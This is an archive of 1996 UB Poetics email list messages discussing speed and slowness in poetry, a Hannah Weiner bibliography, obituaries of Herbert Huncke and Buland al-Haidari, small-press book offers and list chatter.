> *The complete version of Conventional Wisdom is best viewed using a JAVA compatible browser. In this version, writing and images will change automatically throughout the day. If you're on a PC using Netscape 2.0, you'll be able access this version.*
>
> *There will also be a static version for computers/browsers that will not run JAVA. Unfortunately, this includes many Macintoshes. This version can be accessed through the same URL/address.*
>
> *We're looking forward to hearing from you.*
>
> *Best Regards*
> *Margaret Crane, Jon Winet*

↑ Index

72. henry gould
Re: Speed
Fri 9 Aug 1996

slowness. there was a thread related to this about 9 months ago. Talent is often a very slow learner. Slow, stubborn, meticulous. Einstein, Cezanne [there are probably better examples]. Stein, Whitman. The slow growth process bumps up against the speed-idols of the avant-garde. The aged turtles often win the race (but it depends on what race you think you're running). America, of course, they say is becoming a nation of aged turtles (I don't know abt New Zealand). In a turtle race, the FAST aged turtle wins. (speaking of which, Herbert Huncke passed away this week, age 81).

- from "Turtle Island", Hank "slo-poke" Gould
p.s. see
Frost's amazing wedding sonnet for his daughter, wish I could remember
the lines, about speed - how they will win by standing still, "wing
to wing and oar to oar".

↑ Index

73. Pierre Joris
Buland al-Haidari
Fri 9 Aug 1996

The Kurdish Iraqi poet Buland al-Haidari died on Tuesday in London where he had been living in exile since 1982. He was 70. Early on a member of the avant-garde group "The Lost Time Group," & one of first f proponents in Arab

poetry during the 40ies. A communist sympathizer & political activist he was exiled & fled to Lebanon in 1963.

His books include _The Throb of Clay_ (1946), _You came at Dawn_ (1961),_Steps in Exile_ (1965) & ,many more, though only a few have been translated inti English. His last collection, _Alleyways of Exile" was published last week in London. Here is the title poem from the 1968 collection _Journey of the Yellow Letters_, translated by John Mikhail Asfour (in: _When the Words Burn: An Anthology of Modern Arabic Poetry 1945-1987_):

JOURNEY OF THE YELLOW LETTERS

For a thousand years, children of my poor village
we have been the yellowed letters
in the Torah
and the Qu'ran
and the New Testament,
the encrusted blade of the chisel
carving our frightful shadows in your eyes --
shadows you
worshipped in your hearts,
shadows that became a history void of men.
Each letter swells, and sometimes is
a minaret that stands in prayer;
a church, sometimes, in the dreary mountains;
sometimes black nooses
and ropes.
In sad villages your streets know them,
your sins know them.
For a thousand years
we have been the yellowed letters in the New Testament
and the Totah
and the Qur'an,
the letters of mould
daily manifested
in every shameful pregnancy,
in idols,
in the aoppressor's whip
in God, in Satan
but not once in a human being.

For a thousand years, children of my poor village
we have slept the long sleep of history
and worshipped our frightful shadows in your eyes

(September 1968)

========== Pierre Joris | "Poetic
knowledge...is the knowledge of finitude, Dept. of English | of words and
things that happen once and SUNY Albany | once only, measurable but
not repeatable, the Albany NY 12222 | intuitions of _nonstatistical_ proba-
bilities tel&fax:[redacted] | that are _creative_, not merely re-creative
email: | (or recreational)." -- Don Byrd [redacted]|
==========

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74. Bob Holman
Slam Stats
Fri 9 Aug 1996

Rod, I don't hae access to my Complete Slam Stats file here, but I'm pretty sure it was spring or fall of 1990.

BobH

↑ Index

75. Bob Holman
Slam Stats
Fri 9 Aug 1996

Hey Maria,

I participated in some group performances of Hannah's work at the Church in the late 70s-early 80s. They cry for multi-voice, eh? and each of us (I think Bernadette and Sharon Matlin were involved) were different tones/speeds, mainly using the map of the lines as a score.

But Hannah reads as she writes, like a journal, the Real Thing, just get it down. She seems em on yr forehead, she writes em down. Also that amazing journal when she was locked in the doorless room, fasting.

Offhand is the best brilliance. She did well at the Slam because she always reads so true and affectless, the crowd was stunned into understanding. We were welcome in her world. In another world there is a monotone, a matter of factness belying the quickcutting synapse-leaping Stein-sinking poetry.

BoHo

↑ Index

76. Pierre Joris
Buland al-Haydari
Fri 9 Aug 1996

correction: a typoglitch in my note on Buland al-Haydari mangled a line which should have read:

"early on a member of the avant-garde group "The Lost Time Group," & one of first proponents of free-verse"

Pierre

========== Pierre Joris | "Poetic knowledge...is the knowledge of finitude, Dept. of English | of words and things that happen once and SUNY Albany | once only, measurable but not repeatable, the Albany NY 12222 | intuitions of _nonstatistical_ probabilities tel&fax:[redacted] | that are _creative_, not merely re-creative email: | (or recreational)." -- Don Byrd [redacted]| ==========

↑ Index

77. Thomas M. Orange
poetry and speed
Fri 9 Aug 1996

One of those old Cademon LP recordings of Eliot reading "The Hollow Men," played at 78 rpm. 45 isn't fast enough.

t.

↑ Index

78. Charles Bernstein
Speed and Hannah Weiner
Fri 9 Aug 1996

Hannah Weiner is one of the truly great performers of the time. The best record of this is the New Wilderness Audiographics tape of Hannah reading with Sharon Matlin and Peggy DeKoursey: Hannah reads the roman type (diary voice), and Peggy reads the italics (mostly comments) and Sharon reads the CAPS (give instructions); both italics and Caps are "words seen"for me it's the best realization of polyvocality I know of. James Sherry and I once performed with Hannah and it was interesting to see how exacting her directions for our reading were. She had a very specific pace in mind and also wanted a precise

adherence to the text. This is partly because she had an auditory vision of exactly what the text sounded like. (I have a copy of this performance and someday may be able to put it up on the web as a soundfile!) Hannah is also featured on the Live at the Ear CD and you can get some sense of her speed reading from that. Hannah always said to me she couldn't stand slow readers at poetry readings and that applied to virtually all readings by fiction writers. In her earlier work she would fill the page up without any space or margin partly to transmit the electric sense of speed that pulses through the writing. White space was a vacuum that she abhorred or sucked up.

I have a bibliography of Weiner books, mss and reviews that I did in 1990 and have today updated; I will try to bring to put it up on the EPC as soon as I can. I will also send a version out to Poetics now. There are a couple of queries in that and no doubt some errors; any help appreciated.

*** As I think I probably mention on the list before, I wrote "Introjective Verse" (now out in the new CHAIN) in response to the editors (Pierre Alferi and Olivier Cadiot) of a French magazine "Revue Generale de Litterature" wanting a piece on Olson's "Projective Verse" for an issue they were doing on "speed". I wanted to do something on slowing down, along the line Wystan suggests in his post.

↑ Index

79. Charles Bernstein
Hannah Weiner bibliography
Fri 9 Aug 1996

HANNAH WEINER:

MS/Book Chronology

1966 Magritte Poems (Sacramento: Poetry Newsletter, 1970). 11pp. Nonclairvoyantly written, short poems.

1968 The Code Poems (Barrytown: Open Studio, 1982). 29pp.

1970 The Fast. 50pp ms. Sections published in Acts #4, United Artists #14, and Blue Smoke #1 (in that order); (New York: United Artists, 1992).

1971 Country Girl. 18pp ms. Descriptive journal about seeing auras.

1972 Pictures and Early Words. app. 69pp. -- untyped. Seeing pictures and early versions of seen words.

1973 The 1973 Journal. app. 200pp ms; short segment in This # 7. Has caps and quoted words for words seen.

1974 Clairvoyant Journal. 180pp ms. About one-third published in Angel Hair edition, 64 pp. (1978: Lenox, Mass). Other sections in up to two dozen

magazines, and in Sun June 9, 5 pp. (Providence: Diana's Bimonthly, 1975). Audiocasette from New Wilderness Audiogrpahics (wth Peggy DeCoursey and Sharon Matlin), c. 1976 (New Wilderness taped the whole Journal and published March and April. Videotape (1974 solo reading): New York: Internmedia Foundation, 1985.

1976 Little Girl Books. Four small notebooks.

1977-80 Little Books/Indians (New York: Roof Books, 1980). 91pp.

1980 Nijole's House (Needham, Mass.: Potes & Poets Press, 1981). 24pp.

1981 Spoke (College Park, MD: Sun & Moon Press, 1984). 115pp.

1982 Sixteen (Windsor, VT: Awede Press, 1983). 16pp.

1984 Written In/The Zero One (Victoria, Australia: Post Neo, 1985). 21pp.

1986 Weeks (Ann Arbor: Xexoxial, 1990). 50pp. Published with audiocasette.

1988 Abazoo. 13pp ms.

1989 Seen Words with It. 20 ms.

1989 The Book of Revelations. 106 shaped pages in notebook.

1989-91 Silent Teachers / Remembered Sequel (Providence: Tender Buttons, 1993)

1992- Visions and Silent Musicians. Ms in progress.

1993-4. We Speak Silent. 89pp ms.

ESSAYS
"Criticism of My Hannah Fool", Margins 21/22 (1975).
"Capitalist Useless Phrases after Endless", The L=A=N=G=U=A=G=E Book, ed.
Bruce Andrews & Charles Bernstein (Carbondale: Southern Illinois University Press, 1984).
"Skies III from This 11 and quote the page", The Difficulties, Ron Silliman issue (1985).
"Mostly about the Sentence", Jimmy and Lucy's House of "K" 7 (1986).
"Excerpts from an Interview with Hannah Weiner" by Charles Bernstein, The Line in Postmodern Poetry, ed. Robert Frank and Henry Sayre (Urbana: University of Illinois Press, 1988).
"Research important conflict two obedient", Writing 25 (1990).
"Meaning bus Halifax to Queensbury", Patterns/Contexts/Time, ed. Phillip Foss & Charles Bernstein (Sante Fe: Tyuonyi 1990).
"If Workshop", Poetry Project Newsletter, February-March 1990.
"Dear Andrew letter peyote, `Dark Ages Clasp the Daisy Root'.

"Two Works", Writing 27 (1992)
"Ubliminal" [part 1], Chain 2 (1995)
"Ubliminal", [part 2], big allis #7(1996)
"Plus Title", Central Park #19/20 (1991)
"Blank Verse: A Decidedly Highpoint in the History of English Prosody"

REVIEWS/CRITICISM Dick Higgins, Sun June 9, Margins 21/22 (1975). Sharon Mattlin, Clairvoyant Journal, Poetry Showcase at CPGB (1975) Charles Bernstein, "Making Words Visible" [on The Clairvoyant Journal, L=A=N=G=U=A=G=E 5 (1978); rpt. The L=A=N=G=U=A=G=E Book and Content's Dream (Los Angeles: Sun & Moon, 1986). Sharon Mattlin, Clairvoyant Journal, Poetry Project Newsletter, May/June 1979. Tina Darragh, "Virgin", L=A=N=G=U=A=G=E 11 (1980). Tim Dlugos, "Perfectly Clairvoyant", Little Books/Indians, The SoHo News, December 30, 1980. Barbara Barg, Little Books/Indians, Poetry Project Newsletter, May 1981. Ron Silliman, Little Books/Indians and Nijole's House, Sulfur 5 (1982), rpt. The New Sentence (New York: Roof, 1987). Jeff Wright, Code Poems, East Village Eye, April 1983. John Perreault, Code Poems, Poetry Project Newsletter, May/June 1983. Jackson Mac Low, Sixteen & The Code Poems, Poetics Journal 4 (1984). Tony Green, Code Poems and Sixteen, Splash 2 (Auckland, New Zealand: 1984). Arlene Stone, "Poets in the Combat Zone", Code Poems, Contact II 36/37 (1985). Dennis Barone, "Large Poetic Concerns", Spoke, Contact II 38/39/40 (1985). Paul Green, Spoke, Reality Studios 7 (London: 1985). Sherry Quart, Written In/The Zero One, UCSD's Archive Newsletter, Spring 1987. Joseph Keppler, "Four by Three", Sixteen & Spoke, Gargoyle 32/33 (1987). Kathleen Fraser, "Line. On the Line. Lining up. Lined with. Between the Lines. Bottom Line.", The Line in Postmodern Poetry, ed. Robert Frank and Herny Sayre (Urbana: University of Illinois Press, 1988). Charles Bernstein, "Weak Links", preface to Weeks (Ann Arbor: Xexoial, 1990) Johanna Drucker, The Fast. Poetry Project Newsletter Oct/Nov 1992 Mark Wallace, Silent Teachers/Remembered Sequel, Taproot #5 (1994) Juliana Spahr, "Composition as Explanation", presented at MLA Annual Convention (1993)

??:
"Blank Verse: A Decidedly High Point in the History of English Prosody": offprint exists w/o source information
Paul Green, review of several books — published in UK 1990s

—compiled by Charles Bernstein, 1989, updated, 1996; send corrections or additions to [redacted].

↑ Index

80. Mark Wallace
Juliana Spahr's new e-mail
Fri 9 Aug 1996

Can anyone who knows backchannel me with Juliana Spahr's new e-mail address? She sent it around on a card a week or two ago, but I can't seem to find the information.

Thanks.

Mark Wallace

↑ Index

81. Joseph Lease
Re: changing
Fri 9 Aug 1996

RE: poetics discussion

It would interest me to start a low-key discussion concerning a range of post-modern poetics evoked by but not limited to the work of such poets as John Yau, Fanny Howe, David Shapiro, Susan Howe--with reference also to Amiri Baraka, Robert Creeley, Adrienne Rich--

I'm just wondering if there's a forum for articulating and sharing concerns with lyric practice that cut across so called party lines and (obviously) share a variety of kinds of concern with poetic experimentation and politcal and cultural opposition--and--if such a phrase doesn't seem so neutral--aesthetic and political thought--

so--

All Best,
Joseph Lease-

↑ Index

82. Charlie King
Re: Introduction of Charlie King
Fri 9 Aug 1996

> *Hi,*
> *I'm new on the list. My name is Charlie King, I'm 25 years old and live*
> *in South Africa. I subscribed to this list because poetry seems to be a*

> "neverending attachment to oblivion";-) and I can't get enough of it.
> Right at this moment I don't quite know what it is this list is about
but

> I trust that with a little help from the current subscribed, I will learn.
> Yours,
> Charlie King
> ----------
> Name: Charlie King
> E-mail: [redacted]
> Date: 07/08/96
> Time: 07:53:54 PM
>
>
> This message was sent by Chameleon
> ----------
>
>

Name:
E-mail: [redacted]
Date: 09/08/96
Time: 08:27:23 PM

This message was sent by Chameleon

↑ Index

83. Joel Kuszai
New Books from Meow Press
Sat 10 Aug 1996

Hi everybody, before we begin our (pause) "infomerical" (laughter from audience) I'd like to take this moment to think back to Orono, you know, Orono. I want to thank Orono for Melvin Tolson, whom I've found in the Buffalo Public Library. Funny to think that you can't check out a book of poetry in buffalo, most poetry existing behind closed stacks. The same is true for music library too--and the ERie/County-Buffalo public main branch has a great music section, a mix of 20th sentry music (probably lingering from the good ol' days at the philharmonic (John Tesh coming this year, Doc Severinson's holidy opus+)and an interesting selection of music from around the world--both traditional and contemporary. They let you check out 10 cds for a week and I'm gettin a real education in music this way. Anyway, it is okay to have books stored away for safety, for some future researcher, I suppose. Like music, you have to make the books you need to read.

On that note, some books are finally available from Meow Press, which is 3years old this month. More books on the way include: Aaron Shurin, CODEX (with in-laid color reproductions), Stephen Ratcliffe, SENTENCE, Noemie Maxwell, THRUM, Charles Alexander, FOUR NINETY EIGHT TO SEVEN, Jorge Guitart, FILM BLANC, Denise Newman, OF LATER THINGS YET TO COME, Deanna Ferguson, ROUGH BUSH, David Carl, THE LIBRARY, and more (I don't have the list with me).

Catalogs are available by mail: send queries backchannel to me.

Now Available from Meow Press

Michael Basinski, Hee-Bee Jeebies
7x6.5" 24pg.
$5.00

Natalee Caple, The Price of Acorn
6.5x4.5" 36pg.
$6.00

Wendy Kramer, Patinas
8.5x7" 20pg.
$5.00

Hank Lazer, The Early Days of the Lang Dynasty
6.5x6" 36pg.
$6.00

Jena Osman, Jury
6.5x4.5" 28pg.
$5.00

Meredith Quartermain, Terms of Sale
8.5x7" 48pg.
$6.00

Lisa Robertson, The Descent
8.5x7" 24pg.
$5.00

Lisa Samuels, Letters
7x6.5" 24pg.
$5.00

Gary Sullivan, Dead Man
6.5x5" 32pg.
$6.00

Sullivan & Caple are prose. The whole set of 9 books is available right now for $40 for poetics-fans. Call today!

↑ Index

84. Gabrielle Welford
Arthur Craven
Sat 10 Aug 1996

Does anyone have info on works about Craven? gab.

↑ Index

85. Tenney Nathanson
Craven?
Sun 11 Aug 1996

> *Date: Sat, 10 Aug 1996 11:34:13 -1000*
> *From: Gabrielle Welford <[redacted]>*
> *Subject: Arthur Craven*
>
> *Does anyone have info on works about Craven? gab.*

no.

but: you might look in the index of John Shoptaw's book about Ashbery--I recall that there are some remarks about Ashbery's Craven poem in DDOS--and I think a footnote or two that might be of some use.

btw what do others make of the Shoptaw book?

↑ Index

86. Christina Fairbank Chirot
Re: poetry in motion
Sun 11 Aug 1996

Re: "Poetry in Motion"

Actually the song stuck relentlessly in mind was by Johnny Tillotson, in 1960, on the Cadence label.

Two years before "The Loco-Motion" by Little Eva on Dimension.

From Poetry on Cadence to Loco on Dimension---

In the immortal words of Bo Diddley:

When you're in the groove
You really got to move

--dave baptiste chirot

↑ Index

87. **DS**
Re: Speed
Sun 11 Aug 1996

Perhaps one should have david eggleton & melville (clarel) reading at the same time. they are fairly silly examples. on the page, i am in favour of slow, i like words to come out about the speed that i think. Talking is pretty fast at the moment & poetry provides a greatly needed contrast. I've been rereading long poems recently (for a project): the maximus papers, patterson, homer they have a certain ponderousness which is part of their reading pleasure. Aloud speed can have advantages but (if you'll excuse a sport analogy) is more like boxing than sailing. Comes down to the mood i guess. Sunday nights a slow poetry night.

Sleeping soon,

Dan

At 07:35 PM 8/9/96 GMT+1200, you wrote:
>Dear list,
> this is good. Speed, poets, it not only a matter of rush
>rush rush though. Vorticists are fast, projectivists are fast. What
>IS the hurry? What about slow? Is slow also a value? I think I would
>like someone to put in a good word for slow. Fast poems, slow readings?
>Does poetry speed up or slow down relative to the culture? TV and movies
>have been getting faster over the years and what does that have to do
>with it? There's some question of the general economy also. What
>thoughts do you have on this tonight, good list people? I am at my post.
> wystan
>
>

↑ Index

88. **Robert Drake**
Re: Speed
Sun 11 Aug 1996

"there is more to life than increasing its speed"
--e.f. schumacher (on efficiency)

lbd

↑ Index

89. Douglas Messerli

Re: Hannah Weiner bibliography

Sun 11 Aug 1996

Thanks for passing on the great Weiner bibliography Charles. Members of the Poetics List can now get copies of one of Hannah's best works, SPOKE, for $4.00. Order through our website or directly through my E-mail address.

The website (just a reminder) is http//:www.sunmoon.com. My E-mail at Sun & Moon is [redacted].

Sun & Moon will be making new offers for several new titles and older ones this next week.

Douglas Messerli

At 01:43 PM 8/9/96 -0400, you wrote:
>HANNAH WEINER:
>
>MS/Book Chronology
>
>1966 Magritte Poems (Sacramento: Poetry Newsletter, 1970). 11pp.
>Nonclairvoyantly written, short poems.
>
>1968 The Code Poems (Barrytown: Open Studio, 1982). 29pp.
>
>1970 The Fast. 50pp ms. Sections published in Acts #4, United Artists #14,
>and Blue Smoke #1 (in that order); (New York: United Artists, 1992).
>
>1971 Country Girl. 18pp ms. Descriptive journal about seeing auras.
>
>1972 Pictures and Early Words. app. 69pp. -- untyped. Seeing pictures and
>early versions of seen words.
>
>1973 The 1973 Journal. app. 200pp ms; short segment in This # 7. Has caps
>and quoted words for words seen.
>
>1974 Clairvoyant Journal. 180pp ms. About one-third published in Angel
>Hair edition, 64 pp. (1978: Lenox, Mass). Other sections in up to two
>dozen magazines, and in Sun June 9, 5 pp. (Providence: Diana's Bimonthly,
>1975). Audiocasette from New Wilderness Audiogrpahics (wth Peggy De-Coursey
>and Sharon Matlin), c. 1976 (New Wilderness taped the whole Journal and
>published March and April. Videotape (1974 solo reading): New York:
>Internmedia Foundation, 1985.

>
>1976 Little Girl Books. Four small notebooks.
>
>1977-80 Little Books/Indians (New York: Roof Books, 1980). 91pp.
>
>1980 Nijole's House (Needham, Mass.: Potes & Poets Press, 1981). 24pp.
>
>1981 Spoke (College Park, MD: Sun & Moon Press, 1984). 115pp.
>
>1982 Sixteen (Windsor, VT: Awede Press, 1983). 16pp.
>
>1984 Written In/The Zero One (Victoria, Australia: Post Neo, 1985). 21pp.
>
>1986 Weeks (Ann Arbor: Xexoxial, 1990). 50pp. Published with audiocasette.
>
>1988 Abazoo. 13pp ms.
>
>1989 Seen Words with It. 20 ms.
>
>1989 The Book of Revelations. 106 shaped pages in notebook.
>
>1989-91 Silent Teachers / Remembered Sequel (Providence: Tender Buttons, 1993)
>
>1992- Visions and Silent Musicians. Ms in progress.
>
>1993-4. We Speak Silent. 89pp ms.
>
>ESSAYS
>"Criticism of My Hannah Fool", Margins 21/22 (1975).
>"Capitalist Useless Phrases after Endless", The L=A=N=G=U=A=G=E Book, ed.
>Bruce Andrews & Charles Bernstein (Carbondale: Southern Illinois University
>Press, 1984).
>"Skies III from This 11 and quote the page", The Difficulties, Ron Silliman
>issue (1985).
>"Mostly about the Sentence", Jimmy and Lucy's House of "K" 7 (1986).
>"Excerpts from an Interview with Hannah Weiner" by Charles Bernstein, The
>Line in Postmodern Poetry, ed. Robert Frank and Henry Sayre (Urbana:
>University of Illinois Press, 1988).
>"Research important conflict two obedient", Writing 25 (1990).
>"Meaning bus Halifax to Queensbury", Patterns/Contexts/Time, ed. Phillip

>Foss & Charles Bernstein (Sante Fe: Tyuonyi 1990).
>"If Workshop", Poetry Project Newsletter, February-March 1990.
>"Dear Andrew letter peyote, `Dark Ages Clasp the Daisy Root'.
>"Two Works", Writing 27 (1992)
>"Ubliminal" [part 1], Chain 2 (1995)
>"Ubliminal", [part 2], big allis #7(1996)
>"Plus Title", Central Park #19/20 (1991)
>"Blank Verse: A Decidedly Highpoint in the History of English Prosody"
>
>REVIEWS/CRITICISM
>Dick Higgins, Sun June 9, Margins 21/22 (1975).
>Sharon Mattlin, Clairvoyant Journal, Poetry Showcase at CPGB (1975)
>Charles Bernstein, "Making Words Visible" [on The Clairvoyant Journal,
>L=A=N=G=U=A=G=E 5 (1978); rpt. The L=A=N=G=U=A=G=E Book and
>Content's Dream (Los Angeles: Sun & Moon, 1986).
>Sharon Mattlin, Clairvoyant Journal, Poetry Project Newsletter, May/June 1979.
>Tina Darragh, "Virgin", L=A=N=G=U=A=G=E 11 (1980).
>Tim Dlugos, "Perfectly Clairvoyant", Little Books/Indians, The SoHo News,
>December 30, 1980.
>Barbara Barg, Little Books/Indians, Poetry Project Newsletter, May 1981.
>Ron Silliman, Little Books/Indians and Nijole's House, Sulfur 5 (1982),
>rpt. The New Sentence (New York: Roof, 1987).
>Jeff Wright, Code Poems, East Village Eye, April 1983.
>John Perreault, Code Poems, Poetry Project Newsletter, May/June 1983.
>Jackson Mac Low, Sixteen & The Code Poems, Poetics Journal 4 (1984).
>Tony Green, Code Poems and Sixteen, Splash 2 (Auckland, New Zealand: 1984).
>Arlene Stone, "Poets in the Combat Zone", Code Poems, Contact II 36/37 (1985).
>Dennis Barone, "Large Poetic Concerns", Spoke, Contact II 38/39/40 (1985).
>Paul Green, Spoke, Reality Studios 7 (London: 1985).
>Sherry Quart, Written In/The Zero One, UCSD's Archive Newsletter, Spring 1987.
>Joseph Keppler, "Four by Three", Sixteen & Spoke, Gargoyle 32/33 (1987).
>Kathleen Fraser, "Line. On the Line. Lining up. Lined with. Between the
>Lines. Bottom Line.", The Line in Postmodern Poetry, ed. Robert Frank and
>Herny Sayre (Urbana: University of Illinois Press, 1988).
>Charles Bernstein, "Weak Links", preface to Weeks (Ann Arbor: Xexoial, 1990)
>Johanna Drucker, The Fast. Poetry Project Newsletter Oct/Nov 1992

>Mark Wallace, Silent Teachers/Remembered Sequel, Taproot #5 (1994)
>Juliana Spahr, "Composition as Explanation", presented at MLA Annual
>Convention (1993)
>
>??:
>"Blank Verse: A Decidedly High Point in the History of English Prosody":
>offprint exists w/o source information
>Paul Green, review of several books — published in UK 1990s
>
>—compiled by Charles Bernstein, 1989, updated, 1996; send corrections or
>additions to [redacted].
>

↑ Index

90. Charles Bernstein
My Home Pages
Sun 11 Aug 1996

A while ago Mark Wallace mentioned my essay "Frame Lock". With the permission of Jerry McGuire, editor of College Literature, which published the essay in 1994, I have now put it up on the EPC:

http://writing.upenn.edu/epc/authors/bernstein

In June I also put up some "HTML" poems I have been working on, and you can find these at my home page as well, with links to Kenny Goldsmith terrific ongoing anthology of visual poetry. My idea for these works was to create viusal texts that came out working within my word processing program, so that the "visuality" was less pictoral and more a byproduct of the means availalbe in this medium to visually represent language (and in this way related to my other visual texts, such as "Veil" and "Language of Boquets" that Kenny has samples on his site). I have also put up the syllabus for my Fall graduate seminar on the Poetics of Translation.

~~~
~~~

one too and don't waste a minute getting to it, or not more than a minute, well maybe till Labor Day, but not longer that, or not too much longer ....:

now let me translate:

let me be efectlky celard
don;t wasted a monet
the suns' sup and the sky
is a limnit of what you
thinkg it might be
some support out small and
enven medium sixed presses
and even the ups th eUPS,
when they publsiher
thingsd lik tyhis]

+++++++

> *short comments, insights and reactions to the conventions (and the surrounding political and social climate).*
>
> *The site will be running during August 12-15 for the Republican National Convention in San Diego and August 26-28 for the Democratic National Convention in Chicago. We welcome your contributions during that time.*
>
> *Comments can be sent directly to the site via email. Please post to:*
> [redacted]
> *indicate "Comments" in the subject area.*
>
> *The URL/address for the site is:*
> *http://www.pair.xerox.com/cw*
>
> *FYI:*
>
> *The complete version of Conventional Wisdom is best viewed using a JAVA compatible browser. In this version, writing and images will change automatically throughout the day. If you're on a PC using Netscape 2.0, you'll be able access this version.*
>
> *There will also be a static version for computers/browsers that will not run JAVA. Unfortunately, this includes many Macintoshes. This version can be accessed through the same URL/address.*
>
> *We're looking forward to hearing from you.*
>
> *Best Regards*
> *Margaret Crane, Jon Winet*

↑ Index

92. Schuchat
Re: Craven?
Sun 11 Aug 1996

Regarding Arthur Cravan, I haven't gotten that far in the book yet, but it seems that Carolyn Burke's bio of Mina Loy has a fair amount of info about the boxer-poet Cravan, who was her second husband.

Also, for some reason I have always thought (don't know from whence this information is derived) that Cravan was supposed to be the model for the hero of Gide's Caves du Vatican (Lafcadio's Adventures).

↑ Index

93. Tristan D. Saldana
Re: Speed
Sun 11 Aug 1996

On Fri, 9 Aug 1996, wystan wrote:

> *Does poetry speed up or slow down relative to the culture? TV and movies have been getting faster over the years and what does that have to do with it?*

Good language is always good at getting us to expand our sense of the present, our presence. The media seems to be inhumanely good at eliminating the present, and (once again) our presence. A virtue I have found in paying attention to language is that it puts me in a comfortable relationship to time . . . enables evaluativeness. Not (an)esthetic, but an esthetic sedation that helps the 'bash' of the high-threshold lows created by the "blunting of the senses" that need hourly gratification as Wordsworth says. The world is too much with us, indeed.

I just heard some great lyrics today by a pretty good poet and not half bad drummer on this subject . . . how humans, today, live in dog years:

"I'd rather be a tortoise from Galapagos
or a span of geological time . . ."

Tristan

↑ Index

94. Kevin Killian
Re: Juliana Spahr's new e-mail
Mon 12 Aug 1996

This is Dodie.

Is it true these rumors I'm hearing that Juliana and ten others have left the poetics list and started their own poetics list?

↑ Index

95. Al Filreis
Williams house to be sold
Mon 12 Aug 1996

Friends & colleagues:

The NJ section of the NY Times, 8/11/96, reports that WCW's home is for sale. "Located at 9 Ridge Road in Rutherford. Built more than 100 years ago. Listed on the NJ and National Registers of Historic Places. Contains medical office,

examining rooms and residence. WCW's son, Dr. William Eric Williams, continued the pediatric medical practice until he died about a year ago. His widow and daughter are the sellers."

Asking price $330,000

Annual property taxes $7,806

Listed with ERA Justin Realty, Rutherford, NJ

--Al Filreis
--University of Pennsylvania

↑ Index

96. maria damon
Re: Juliana Spahr's new e-mail
Mon 12 Aug 1996

---

yeah me too; i never got one of those postcards, maybe she sent it to the cape, anyway i did n't gt it and have been trying to send stuff. xo, md

In message <[redacted]> UB Poetics
discussion group writes:
> Can anyone who knows backchannel me with Juliana Spahr's new e-mail
> address? She sent it around on a card a week or two ago, but I can't seem
> to find the information.
>
> Thanks.
>
> Mark Wallace

↑ Index

97. maria damon
Re: Speed
Mon 12 Aug 1996

---

on slowness, thich nhat hanh: paraphrased. the more we have to do, the busier we are, the slower we shd go.
btw: what is a "groove," and how does one get in it; once in it; how shd one "move?"
md

In message <[redacted]> UB Poetics discussion group
writes:
> Dear list,
> this is good. Speed, poets, it not only a matter of rush

> rush rush though. Vorticists are fast, projectivists are fast. What
> IS the hurry? What about slow? Is slow also a value? I think I would
> like someone to put in a good word for slow. Fast poems, slow readings?
> Does poetry speed up or slow down relative to the culture? TV and movies
> have been getting faster over the years and what does that have to do
> with it? There's some question of the general economy also. What
> thoughts do you have on this tonight, good list people? I am at my post.
> wystan

↑ Index

98. Douglas Messerli

Returned mail: Host unknown (Name server: ubvm.cc.bfuualo.edu: host not found)

Mon 12 Aug 1996

>Return-Path: <MAILER-DAEMON>
>Date: Mon, 12 Aug 1996 09:34:43 -0700 (PDT)
>From: Mail Delivery Subsystem <[redacted]>
>Subject: Returned mail: Host unknown (Name server: ubvm.cc.bfuualo.edu: host not found)
>To: <[redacted]>
>Auto-Submitted: auto-generated (failure)
>
>The original message was received at Mon, 12 Aug 1996 09:34:40 -0700 (PDT)
>from ppp74.cinenet.net [198.147.81.74]
>
> ----- The following addresses have delivery notifications -----
><[redacted]> (unrecoverable error)
>
> ----- Transcript of session follows -----
>550 <[redacted]>... Host unknown (Name server: ubvm.cc.bfuualo.edu: host not found)
>
> ----- Original message follows -----
>
>Return-Path: <[redacted]>
>Received: from ppp74.cinenet.net by hollywood.cinenet.net with SMTP (8.7.3/25-eef)
> id JAA23676; Mon, 12 Aug 1996 09:34:40 -0700 (PDT)
>Date: Mon, 12 Aug 1996 09:34:40 -0700 (PDT)
>Message-Id: <[redacted]>
>X-Sender: [redacted] (Unverified)

>X-Mailer: Windows Eudora Light Version 1.5.4 (16)
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>To: [redacted]
>From: Douglas Messerli <[redacted]>
>Subject: New offers from Sun & Moon Press
>
>SPECIAL OFFERS TO THE POETICS LIST
>
>Sun & Moon Press has several new books, which we offering
>for sale to people on the Poetics List for a 20% discount.
>These include:
>
>Rene Crevel's great surrealist novel BABYLON
>Paperback, $12.95
>
>CREDENCE, by Dennis Phillips. The most recent collection
>of poetry by this important Los Angeles-based writer.
>Paper, $10.95
>
>WHERE HEAT LOOMS, by Andre du Bouchet, translated by
>David Mus. One of the most signficant--and the last living--
>of the great French modernist poets. This book represents
>the first of several du Bouchet translations that will be
>published by Sun & Moon. Paper, $12.95
>
>THE BLAZING LIGHTS OF THE SUN, by Rosita Copioli. An im-
>portant contemporary woman Italian poet, translated
>by Renata Treitel. Paper, $11.95
>
>JUDE THE OBSCURE, Thomas Hardy. Yes, you heard right,
>The great classic appears on the Sun & Moon label, reprinted
>from the first American edition of 1896. Paper, $12.95
>
>GHOST IMAGE, by Herve Guibert. Michel Foucault's purported
>lover, died of AIDS in 1991. These are essays on photographer,
>beautifully written and very moving. Paper $13.95
>
>WHAT BECAME WORDS, by Claes Andersson. A major Finnish poet--
>and head of Finnish culture at the moment. Paper $11.95
>
>==========

>
>We are also offering amazingly low prices on the following
>backlist titles:
>
>As long as you order at least 2 books, you can purchase
>these for $4.00 each.
>
>
>SPOKE, by Hannah Weiner. Paper $7.95
>
>THE YELLOW FLOOR: POEMS 1978-1983 by Gil Ott. Paper, $6.95
>
>POEMS, by Nick Piombino. Paper $8.95
>
>ARENA, by Dennis Phillips. Paper $10.95
>
>A WORLD, by Dennis Phillips. Paper $9.95
>
>MAXIMS FROM MY MOTHER'S MILK/HYMNS TO HIM, Douglas
>Messerli Paper $8.95
>
>

↑ Index

99. Walter K. Lew
Re: Juliana Spahr's new e-mail
Mon 12 Aug 1996

Dear Maria and Mark,

Juliana Spahr
182 Elm St. Upper
Albany NY 12202
[redacted]

Walter K. Lew
8 Old Colony Rd.
Old Saybrook, CT 06475
ph/fax: [redacted]

↑ Index

100. David Baratier
lost in the supermarket
Mon 12 Aug 1996

Tristan,

